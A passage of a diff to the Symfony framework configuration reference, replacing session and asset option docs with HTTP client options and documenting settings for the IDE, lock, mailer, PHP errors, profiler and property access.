``http_client`` or using the autowiring alias +:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`. + +.. _reference-http-client-default-options: + +This service can be configured using ``framework.http_client.default_options``: .. configuration-block:: @@ -1587,8 +1417,12 @@ setting the value to ``null``: # config/packages/framework.yaml framework: - session: - save_path: ~ + # ... + http_client: + max_host_connections: 10 + default_options: + headers: { 'X-Powered-By': 'ACME App' } + max_redirects: 7 .. code-block:: xml @@ -1602,7 +1436,11 @@ setting the value to ``null``: http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:session save-path="null"/> + <framework:http-client max-host-connections="10"> + <framework:default-options max-redirects="7"> + <framework:header name="X-Powered-By">ACME App</framework:header> + </framework:default-options> + </framework:http-client> </framework:config> </container> @@ -1610,30 +1448,32 @@ setting the value to ``null``: // config/packages/framework.php $container->loadFromExtension('framework', [ - 'session' => [ - 'save_path' => null, + 'http_client' => [ + 'max_host_connections' => 10, + 'default_options' => [ + 'headers' => [ + 'X-Powered-By' => 'ACME App', + ], + 'max_redirects' => 7, + ], ], ]); -.. _reference-session-metadata-update-threshold: - -metadata_update_threshold -......................... - -**type**: ``integer`` **default**: ``0`` - -This is how many seconds to wait between updating/writing the session metadata. -This can be useful if, for some reason, you want to limit the frequency at which -the session persists, instead of doing that on every request. - -.. _reference-session-enabled: + .. code-block:: php-standalone -enabled -....... + $client = HttpClient::create([ + 'headers' => [ + 'X-Powered-By' => 'ACME App', + ], + 'max_redirects' => 7, + ], 10); -**type**: ``boolean`` **default**: ``true`` +.. _reference-http-client-scoped-clients: -Whether to enable the session support in the framework. +Multiple pre-configured HTTP client services can be defined, each with its +service name defined as a key under ``scoped_clients``. Scoped clients inherit +the default options defined for the ``http_client`` service. You can override +these options and can define a few others: .. configuration-block:: @@ -1641,8 +1481,12 @@ Whether to enable the session support in the framework. # config/packages/framework.yaml framework: - session: - enabled: true + # ... + http_client: + scoped_clients: + my_api.client: + auth_bearer: secret_bearer_token + # ... .. code-block:: xml @@ -1656,7 +1500,9 @@ Whether to enable the session support in the framework. http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:session enabled="true"/> + <framework:http-client> + <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/> + </framework:http-client> </framework:config> </container> @@ -1664,206 +1510,1083 @@ Whether to enable the session support in the framework. // config/packages/framework.php $container->loadFromExtension('framework', [ - 'session' => [ - 'enabled' => true, + 'http_client' => [ + 'scoped_clients' => [ + 'my_api.client' => [ + 'auth_bearer' => 'secret_bearer_token', + // ... + ], + ], ], ]); -use_cookies -........... + .. code-block:: php-standalone -**type**: ``boolean`` **default**: ``null`` - -This specifies if the session ID is stored on the client side using cookies or -not. By default, it will use the value defined in the ``php.ini`` with the -``session.use_cookies`` directive. + $client = HttpClient::createForBaseUri('https://...', [ + 'auth_bearer' => 'secret_bearer_token', + // ... + ]); -assets -~~~~~~ +Options defined for scoped clients apply only to URLs that match either their +`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always +use default options. -.. _reference-assets-base-path: +Each scoped client also defines a corresponding named autowiring alias. +If you use for example +``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient`` +as the type and name of an argument, autowiring will inject the ``my_api.client`` +service into your autowired classes. -base_path -......... +auth_basic +.......... **type**: ``string`` -This option allows you to define a base path to be used for assets: +The username and password used to create the ``Authorization`` HTTP header +used in HTTP Basic authentication. The value of this option must follow the +format ``username:password``. -.. configuration-block:: +auth_bearer +........... - .. code-block:: yaml +**type**: ``string`` - # config/packages/framework.yaml - framework: - # ... - assets: - base_path: '/images' +The token used to create the ``Authorization`` HTTP header used in HTTP Bearer +authentication (also called token authentication). - .. code-block:: xml +auth_ntlm +......... - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> +**type**: ``string`` - <framework:config> - <framework:assets base-path="/images"/> - </framework:config> - </container> +The username and password used to create the ``Authorization`` HTTP header used +in the `Microsoft NTLM authentication protocol`_. The value of this option must +follow the format ``username:password``. This authentication mechanism requires +using the cURL-based transport. - .. code-block:: php +.. _reference-http-client-base-uri: - // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'assets' => [ - 'base_path' => '/images', - ], - ]); +base_uri +........ -.. _reference-templating-base-urls: -.. _reference-assets-base-urls: +**type**: ``string`` -base_urls -......... +URI that is merged into relative URIs, following the rules explained in the +`RFC 3986`_ standard. This is useful when all the requests you make share a +common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to +every request. -**type**: ``array`` +Here are some common examples of how ``base_uri`` merging works in practice: -This option allows you to define base URLs to be used for assets. -If multiple base URLs are provided, Symfony will select one from the -collection each time it generates an asset's path: +========================== ================== ============================= +``base_uri`` Relative URI Actual Requested URI +========================== ================== ============================= +http://example.org /bar http://example.org/bar +http://example.org/foo /bar http://example.org/bar +http://example.org/foo bar http://example.org/bar +http://example.org/foo/ /bar http://example.org/bar +http://example.org/foo/ bar http://example.org/foo/bar +http://example.org http://symfony.com http://symfony.com +http://example.org/?bar bar http://example.org/bar +http://example.org/api/v4 /bar http://example.org/bar +http://example.org/api/v4/ /bar http://example.org/bar +http://example.org/api/v4 bar http://example.org/api/bar +http://example.org/api/v4/ bar http://example.org/api/v4/bar +========================== ================== ============================= -.. configuration-block:: +bindto +...... - .. code-block:: yaml +**type**: ``string`` - # config/packages/framework.yaml - framework: - # ... - assets: - base_urls: - - 'http://cdn.example.com/' +A network interface name, IP address, a host name or a UNIX socket to use as the +outgoing network interface. - .. code-block:: xml +buffer +...... - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> +**type**: ``boolean`` | ``Closure`` - <framework:config> - <framework:assets base-url="http://cdn.example.com/"/> - </framework:config> - </container> +Buffering the response means that you can access its content multiple times +without performing the request again. Buffering is enabled by default when the +content type of the response is ``text/*``, ``application/json`` or ``application/xml``. - .. code-block:: php +If this option is a boolean value, the response is buffered when the value is +``true``. If this option is a closure, the response is buffered when the +returned value is ``true`` (the closure receives as argument an array with the +response headers). - // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'assets' => [ - 'base_urls' => ['http://cdn.example.com/'], - ], - ]); +cafile +...... -.. _reference-framework-assets-packages: +**type**: ``string`` -packages -........ +The path of the certificate authority file that contains one or more +certificates used to verify the other servers' certificates. -You can group assets into packages, to specify different base URLs for them: +capath +...... -.. configuration-block:: +**type**: ``string`` - .. code-block:: yaml +The path to a directory that contains one or more certificate authority files. - # config/packages/framework.yaml - framework: - # ... - assets: - packages: - avatars: - base_urls: 'http://static_cdn.example.com/avatars' +ciphers +....... - .. code-block:: xml +**type**: ``string`` - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> +A list of the names of the ciphers allowed for the TLS connections. They +can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``). - <framework:config> - <framework:assets> - <framework:package - name="avatars" - base-url="http://static_cdn.example.com/avatars"/> - </framework:assets> - </framework:config> - </container> +crypto_method +............. - .. code-block:: php +**type**: ``integer`` - // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'assets' => [ - 'packages' => [ - 'avatars' => [ - 'base_urls' => 'http://static_cdn.example.com/avatars', - ], - ], - ], - ]); +The minimum version of TLS to accept. The value must be one of the +``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP. -Now you can use the ``avatars`` package in your templates: +.. _reference-http-client-retry-delay: -.. code-block:: html+twig +delay +..... - <img src="{{ asset('...', 'avatars') }}"> +**type**: ``integer`` **default**: ``1000`` + +The initial delay in milliseconds used to compute the waiting time between retries. + +.. _reference-http-client-retry-enabled: + +enabled +....... + +**type**: ``boolean`` **default**: ``false`` + +Whether to enable the support for retry failed HTTP request or not. +This setting is automatically set to true when one of the child settings is configured. + +extra +..... + +**type**: ``array`` + +Arbitrary additional data to pass to the HTTP client for further use. +This can be particularly useful when :ref:`decorating an existing client <extensibility>`. + +.. _http-headers: + +headers +....... + +**type**: ``array`` + +An associative array of the HTTP headers added before making the request. This +value must use the format ``['header-name' => 'value0, value1, ...']``. + +.. _reference-http-client-retry-http-codes: + +http_codes +.......... + +**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES` + +The list of HTTP status codes that triggers a retry of the request. + +http_version +............ + +**type**: ``string`` | ``null`` **default**: ``null`` + +The HTTP version to use, typically ``'1.1'`` or ``'2.0'``. Leave it to ``null`` +to let Symfony select the best version automatically. + +.. _reference-http-client-retry-jitter: + +jitter +...... + +**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0) + +This option adds some randomness to the delay. It's useful to avoid sending +multiple requests to the server at the exact same time. The randomness is +calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter +is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%). + +local_cert +.......... + +**type**: ``string`` + +The path to a file that contains the `PEM formatted`_ certificate used by the +HTTP client. This is often combined with the ``local_pk`` and ``passphrase`` +options. + +local_pk +........ + +**type**: ``string`` + +The path of a file that contains the `PEM formatted`_ private key of the +certificate defined in the ``local_cert`` option. + +.. _reference-http-client-retry-max-delay: + +max_delay +......... + +**type**: ``integer`` **default**: ``0`` + +The maximum amount of milliseconds initial to wait between retries. +Use ``0`` to not limit the duration. + +max_duration +............ + +**type**: ``float`` **default**: ``0`` + +The maximum execution time, in seconds, that the request and the response are +allowed to take. A value lower than or equal to 0 means it is unlimited. + +.. _reference-http-client-max-host-connections: + +max_host_connections +.................... + +**type**: ``integer`` **default**: ``6`` + +Defines the maximum amount of simultaneously open connections to a single host +(considering a "host" the same as a "host name + port number" pair). This limit +also applies for proxy connections, where the proxy is considered to be the host +for which this limit is applied. + +max_redirects +............. + +**type**: ``integer`` **default**: ``20`` + +The maximum number of redirects to follow. Use ``0`` to not follow any +redirection. + +.. _reference-http-client-retry-max-retries: + +max_retries +........... + +**type**: ``integer`` **default**: ``3`` + +The maximum number of retries for failing requests. When the maximum is reached, +the client returns the last received response. + +.. _reference-http-client-retry-multiplier: + +multiplier +.......... + +**type**: ``float`` **default**: ``2`` + +This value is multiplied to the delay each time a retry occurs, to distribute +retries in time instead of making all of them sequentially. + +no_proxy +........ + +**type**: ``string`` | ``null`` **default**: ``null`` + +A comma separated list of hosts that do not require a proxy to be reached, even +if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty +string to match none (disables the proxy). + +passphrase +.......... + +**type**: ``string`` + +The passphrase used to encrypt the certificate stored in the file defined in the +``local_cert`` option. + +peer_fingerprint +................ + +**type**: ``array`` + +When negotiating a TLS connection, the server sends a certificate +indicating its identity. A public key is extracted from this certificate and if +it does not exactly match any of the public keys provided in this option, the +connection is aborted before sending or receiving any data. + +The value of this option is an associative array of ``algorithm => hash`` +(e.g ``['pin-sha256' => '...']``). + +proxy +..... + +**type**: ``string`` | ``null`` + +The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the +proxy automatically based on your system configuration. + +query +..... + +**type**: ``array`` + +An associative array of the query string values added to the URL before making +the request. This value must use the format ``['parameter-name' => parameter-value, ...]``. + +rate_limiter +............ + +**type**: ``string`` + +The service ID of the rate limiter used to limit the number of HTTP requests +within a certain period. The service must implement the +:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`. + +.. versionadded:: 7.1 + + The ``rate_limiter`` option was introduced in Symfony 7.1. + +resolve +....... + +**type**: ``array`` + +A list of hostnames and their IP addresses to pre-populate the DNS cache used by +the HTTP client in order to avoid a DNS lookup for those hosts. This option is +useful to improve security when IPs are checked before the URL is passed to the +client and to make your tests easier. + +The value of this option is an associative array of ``domain => IP address`` +(e.g ``['symfony.com' => '46.137.106.254', ...]``). + +.. _reference-http-client-retry-failed: + +retry_failed +............ + +**type**: ``array`` + +This option configures the behavior of the HTTP client when some request fails, +including which types of requests to retry and how many times. The behavior is +defined with the following options: + +* :ref:`delay <reference-http-client-retry-delay>` +* :ref:`http_codes <reference-http-client-retry-http-codes>` +* :ref:`jitter <reference-http-client-retry-jitter>` +* :ref:`max_delay <reference-http-client-retry-max-delay>` +* :ref:`max_retries <reference-http-client-retry-max-retries>` +* :ref:`multiplier <reference-http-client-retry-multiplier>` + +.. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + http_client: + # ... + default_options: + retry_failed: + # retry_strategy: app.custom_strategy + http_codes: + 0: ['GET', 'HEAD'] # retry network errors if request method is GET or HEAD + 429: true # retry all responses with 429 status code + 500: ['GET', 'HEAD'] + max_retries: 2 + delay: 1000 + multiplier: 3 + max_delay: 5000 + jitter: 0.3 + + scoped_clients: + my_api.client: + # ... + retry_failed: + max_retries: 4 + +retry_strategy +.............. + +**type**: ``string`` + +The service is used to decide if a request should be retried and to compute the +time to wait between retries. By default, it uses an instance of +:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured +with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter`` +options. This class has to implement +:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`. + +scope +..... + +**type**: ``string`` + +For scoped clients only: the regular expression that the URL must match before +applying all other non-default options. By default, the scope is derived from +`base_uri`_. + +timeout +....... + +**type**: ``float`` **default**: depends on your PHP config + +Time, in seconds, to wait for network activity. If the connection is idle for longer, a +:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown. +Its default value is the same as the value of PHP's `default_socket_timeout`_ +config option. + +verify_host +........... + +**type**: ``boolean`` **default**: ``true`` + +If ``true``, the certificate sent by other servers is verified to ensure that +their common name matches the host included in the URL. This is usually +combined with ``verify_peer`` to also verify the certificate authenticity. + +verify_peer +........... + +**type**: ``boolean`` **default**: ``true`` + +If ``true``, the certificate sent by other servers when negotiating a TLS +connection is verified for authenticity. Authenticating the certificate is not +enough to be sure about the server, so you should combine this with the +``verify_host`` option. + + .. _configuration-framework-http_method_override: + +http_method_override +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +This determines whether the ``_method`` request parameter is used as the +intended HTTP method on POST requests. If enabled, the +:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>` +method gets called automatically. It becomes the service container parameter +named ``kernel.http_method_override``. + +.. seealso:: + + :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of + Symfony forms. + +.. warning:: + + If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>` + with this option, the kernel will ignore the ``_method`` parameter, + which could lead to errors. + + To fix this, invoke the ``enableHttpMethodParameterOverride()`` method + before creating the ``Request`` object:: + + // public/index.php + + // ... + $kernel = new CacheKernel($kernel); + + Request::enableHttpMethodParameterOverride(); // <-- add this line + $request = Request::createFromGlobals(); + // ... + +.. _reference-framework-ide: + +ide +~~~ + +**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%`` + +Symfony turns file paths seen in variable dumps and exception messages into +links that open those files right inside your browser. If you prefer to open +those files in your favorite IDE or text editor, set this option to any of the +following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``, +``atom`` and ``vscode``. + +.. note:: + + The ``phpstorm`` option is supported natively by PhpStorm on macOS and + Windows; Linux requires installing `phpstorm-url-handler`_. + +If you use another editor, the expected configuration value is a URL template +that contains an ``%f`` placeholder where the file path is expected and ``%l`` +placeholder for the line number (percentage signs (``%``) must be escaped by +doubling them to prevent Symfony from interpreting them as container parameters). + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + ide: 'myide://open?url=file://%%f&line=%%l' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config ide="myide://open?url=file://%%f&line=%%l"/> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->ide('myide://open?url=file://%%f&line=%%l'); + }; + +Since every developer uses a different IDE, the recommended way to enable this +feature is to configure it on a system level. First, you can define this option +in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically +when ``framework.ide`` config is not set. + +Another alternative is to set the ``xdebug.file_link_format`` option in your +``php.ini`` configuration file. The format to use is the same as for the +``framework.ide`` option, but without the need to escape the percent signs +(``%``) by doubling them: + +.. code-block:: ini + + // example for PhpStorm + xdebug.file_link_format="phpstorm://open?file=%f&line=%l" + + // example for PhpStorm with Jetbrains Toolbox + xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l" + + // example for Sublime Text + xdebug.file_link_format="subl://open?url=file://%f&line=%l" + +.. note:: + + If both ``framework.ide`` and ``xdebug.file_link_format`` are defined, + Symfony uses the value of the ``xdebug.file_link_format`` option. + +.. tip:: + + Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug + extension is not enabled. + +.. tip:: + + When running your app in a container or in a virtual machine, you can tell + Symfony to map files from the guest to the host by changing their prefix. + This map should be specified at the end of the URL template, using ``&`` and + ``>`` as guest-to-host separators: + + .. code-block:: text + + // /path/to/guest/.../file will be opened + // as /path/to/host/.../file on the host + // and /var/www/app/ as /projects/my_project/ also + 'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...' + + // example for PhpStorm + 'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/' + +.. _reference-lock: + +lock +~~~~ + +**type**: ``string`` | ``array`` + +The default lock adapter. If not defined, the value is set to ``semaphore`` when +available, or to ``flock`` otherwise. Store's DSN are also allowed. + +.. _reference-lock-enabled: + +enabled +....... + +**type**: ``boolean`` **default**: ``true`` + +Whether to enable the support for lock or not. This setting is +automatically set to ``true`` when one of the child settings is configured. + +.. _reference-lock-resources: + +resources +......... + +**type**: ``array`` + +A map of lock stores to be created by the framework extension, with +the name as key and DSN or service id as value: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/lock.yaml + framework: + lock: '%env(LOCK_DSN)%' + + .. code-block:: xml + + <!-- config/packages/lock.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:lock> + <framework:resource name="default">%env(LOCK_DSN)%</framework:resource> + </framework:lock> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/lock.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->lock() + ->resource('default', [env('LOCK_DSN')]); + }; + +.. seealso:: + + For more details, see :doc:`/lock`. + +.. _reference-lock-resources-name: + +name +"""" + +**type**: ``prototype`` + +Name of the lock you want to create. + +mailer +~~~~~~ + +.. _mailer-dsn: + +dsn +... + +**type**: ``string`` **default**: ``null`` + +The DSN used by the mailer. When several DSN may be used, use +``transports`` option (see below) instead. + +envelope +........ + +recipients +"""""""""" + +**type**: ``array`` + +The "envelope recipient" which is used as the value of ``RCPT TO`` during the +the `SMTP session`_. This value overrides any other recipient set in the code. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + framework: + mailer: + dsn: 'smtp://localhost:25' + envelope: + recipients: ['admin@symfony.com', 'lead@symfony.com'] + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <framework:config> + <framework:mailer dsn="smtp://localhost:25"> + <framework:envelope> + <framework:recipient>admin@symfony.com</framework:recipient> + <framework:recipient>lead@symfony.com</framework:recipient> + </framework:envelope> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->extension('framework', [ + 'mailer' => [ + 'dsn' => 'smtp://localhost:25', + 'envelope' => [ + 'recipients' => [ + 'admin@symfony.com', + 'lead@symfony.com', + ], + ], + ], + ]); + }; + +sender +"""""" + +**type**: ``string`` + +The "envelope sender" which is used as the value of ``MAIL FROM`` during the +`SMTP session`_. This value overrides any other sender set in the code. + +.. _mailer-headers: + +headers +....... + +**type**: ``array`` + +Headers to add to emails. The key (``name`` attribute in xml format) is the +header name and value the header value. + +.. seealso:: + + For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>` + +message_bus +........... + +**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed + +Service identifier of the message bus to use when using the +:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``). + +transports +.......... + +**type**: ``array`` + +A :ref:`list of DSN <multiple-email-transports>` that can be used by the +mailer. A transport name is the key and the dsn is the value. + +messenger +~~~~~~~~~ + +enabled +....... + +**type**: ``boolean`` **default**: ``true`` + +Whether to enable or not Messenger. + +.. seealso:: + + For more details, see the :doc:`Messenger component </messenger>` + documentation. + +php_errors +~~~~~~~~~~ + +log +... + +**type**: ``boolean``, ``int`` or ``array<int, string>`` **default**: ``true`` + +Use the application logger instead of the PHP logger for logging PHP errors. +When an integer value is used, it defines a bitmask of PHP errors that will +be logged. Those integer values must be the same used in the +`error_reporting PHP option`_. The default log levels will be used for each +PHP error. +When a boolean value is used, ``true`` enables logging for all PHP errors +while ``false`` disables logging entirely. + +This option also accepts a map of PHP errors to log levels: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + php_errors: + log: + !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR + !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL + !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL + !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL + !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL + !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL + !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- in XML configuration you cannot use PHP constants as the value of + the 'type' attribute, which makes this format way less readable. + Consider using YAML or PHP for this configuration --> + <framework:log type="8" logLevel="error"/> + <framework:log type="2" logLevel="error"/> + <!-- ... --> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Psr\Log\LogLevel; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR); + $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR); + // ... + }; + +throw +..... + +**type**: ``boolean`` **default**: ``%kernel.debug%`` + +Throw PHP errors as ``\ErrorException`` instances. The parameter +``debug.error_handler.throw_at`` controls the threshold. + +profiler +~~~~~~~~ + +collect +....... + +**type**: ``boolean`` **default**: ``true`` + +This option configures the way the profiler behaves when it is enabled. If set +to ``true``, the profiler collects data for all requests. If you want to only +collect information on-demand, you can set the ``collect`` flag to ``false`` and +activate the data collectors manually:: + + $profiler->enable(); + +collect_parameter +................. + +**type**: ``string`` **default**: ``null`` + +This specifies name of a query parameter, a body parameter or a request attribute +used to enable or disable collection of data by the profiler for each request. +Combine it with the ``collect`` option to enable/disable the profiler on demand: + +* If the ``collect`` option is set to ``true`` but this parameter exists in a + request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the + request data will not be collected; +* If the ``collect`` option is set to ``false``, but this parameter exists in a + request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data + will be collected. + +.. _collect_serializer_data: + +collect_serializer_data +....................... + +**type**: ``boolean`` **default**: ``false`` + +When this option is ``true``, all normalizers and encoders are +decorated by traceable implementations that collect profiling information about them. + +.. deprecated:: 7.3 + + Setting the ``collect_serializer_data`` option to ``false`` is deprecated + since Symfony 7.3. + +.. _profiler-dsn: + +dsn +... + +**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler`` + +The DSN where to store the profiling information. + +.. _reference-profiler-enabled: + +enabled +....... + +**type**: ``boolean`` **default**: ``false`` + +The profiler can be enabled by setting this option to ``true``. When you +install it using Symfony Flex, the profiler is enabled in the ``dev`` +and ``test`` environments. + +.. note:: + + The profiler works independently from the Web Developer Toolbar, see + the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>` + on how to disable/enable the toolbar. + +only_exceptions +............... -Each package can configure the following options: +**type**: ``boolean`` **default**: ``false`` -* :ref:`base_path <reference-assets-base-path>` -* :ref:`base_urls <reference-assets-base-urls>` -* :ref:`version_strategy <reference-assets-version-strategy>` -* :ref:`version <reference-framework-assets-version>` -* :ref:`version_format <reference-assets-version-format>` -* :ref:`json_manifest_path <reference-assets-json-manifest-path>` +When this is set to ``true``, the profiler will only be enabled when an +exception is thrown during the handling of the request. -.. _reference-framework-assets-version: -.. _ref-framework-assets-version: +.. _only_master_requests: -version +only_main_requests +.................. + +**type**: ``boolean`` **default**: ``false`` + +When this is set to ``true``, the profiler will only be enabled on the main +requests (and not on the subrequests). + +property_access +~~~~~~~~~~~~~~~ + +magic_call +.......... + +**type**: ``boolean`` **default**: ``false`` + +When enabled, the ``property_accessor`` service uses PHP's +:ref:`magic __call() method <components-property-access-magic-call>` when +its ``getValue()`` method is called. + +magic_get +......... + +**type**: ``boolean`` **default**: ``true`` + +When enabled, the ``property_accessor`` service uses PHP's +:ref:`magic __get() method <components-property-access-magic-get>` when +its ``getValue()`` method is called. + +magic_set +......... + +**type**: ``boolean`` **default**: ``true`` + +When enabled, the ``property_accessor`` service uses PHP's +:ref:`magic __set() method <components-property-access-writing-to-objects>` when +its ``setValue()`` method is called. + +throw_exception_on_invalid_index +................................ + +**type**: ``boolean`` **default**: ``false`` + +When enabled, the ``property_accessor`` service throws an exception when you +try to access an invalid index of an array. + +throw_exception_on_invalid_property_path +........................................ + +**type**: ``boolean`` **default**: ``true`` + +When enabled, the ``property_accessor`` service throws an exception when you +try to access an invalid property path of an object. + +property_info +~~~~~~~~~~~~~ + +.. _reference-property-info-enabled: + +enabled ....... -**type**: ``string`` +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -This option is used to *bust* the cache on assets by globally adding a query -parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This -applies only to assets rendered via the Twig ``asset()`` function (or PHP -equivalent). +with_constructor_extractor +.......................... -For example, suppose you have the following: +**type**: ``boolean`` **default**: ``false`` -.. code-block:: html+twig +Configures the ``property_info`` service to extract property information from the constructor arguments +using the :ref:`ConstructorExtractor <components-property-information-constructor-extractor>`. - <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/> +.. versionadded:: 